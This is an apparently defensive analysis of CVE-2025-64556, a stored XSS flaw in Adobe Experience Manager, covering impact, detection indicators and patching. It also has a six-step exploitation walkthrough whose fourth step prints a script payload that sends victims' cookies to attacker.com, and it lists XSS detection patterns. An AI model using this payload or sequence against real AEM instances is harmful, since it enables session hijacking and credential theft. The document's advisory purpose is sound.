CVE-2025-64556: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64556 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9–10, 2025, as part of Adobe's security bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-based attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then stored and later executed in the browser of any victim who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the affected page) and results in a changed scope, affecting confidentiality and integrity of the victim's session. Attack patterns associated with this vulnerability include stored XSS (CAPEC-592), reflected XSS (CAPEC-591), and DOM-based XSS (CAPEC-588) (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or further phishing attacks. The scope is changed, meaning the injected script can affect resources beyond the attacker's direct control. Confidentiality and integrity are both impacted (rated Low each), while availability is not directly affected (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Authenticate as low-privileged user: Obtain or create a low-privileged AEM account (e.g., a contributor or author role) sufficient to access vulnerable form fields.
3. Identify vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input in form fields without adequate output encoding.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/submit the form.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator or editor) to browse to the page containing the stored payload, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session cookies, credentials, or perform unauthorized actions in the victim's AEM session via the attacker-controlled endpoint (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints containing HTML/JavaScript tags or encoded XSS payloads (e.g., %3Cscript%3E, javascript:, onerror=) from low-privileged user accounts.
• Logs: AEM error or audit logs showing unexpected content modifications to pages or components by non-administrative users.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: Presence of <script> tags or event handler attributes (e.g., onload=, onerror=) stored within AEM JCR content nodes or page properties.

Adobe has released patches addressing CVE-2025-64556 in AEM 6.5 Service Pack 24 (version 6.5.24.0) and AEM Cloud Service release 2025.12.0. Organizations should upgrade AEM on-premises deployments to version 6.5.24.0 or later, and ensure AEM Cloud Service is updated to the December 2025 release. As a general workaround, restrict write access to AEM form fields to trusted users only, and implement a Content Security Policy (CSP) to limit the impact of any XSS execution. Prioritize patching for internet-facing AEM instances (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including CVE-2025-64556, that could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). Tenable added detection support via Nessus plugin 278346 shortly after disclosure (Tenable). No significant independent researcher commentary or social media discussion specific to this CVE has been identified beyond standard vulnerability aggregator coverage.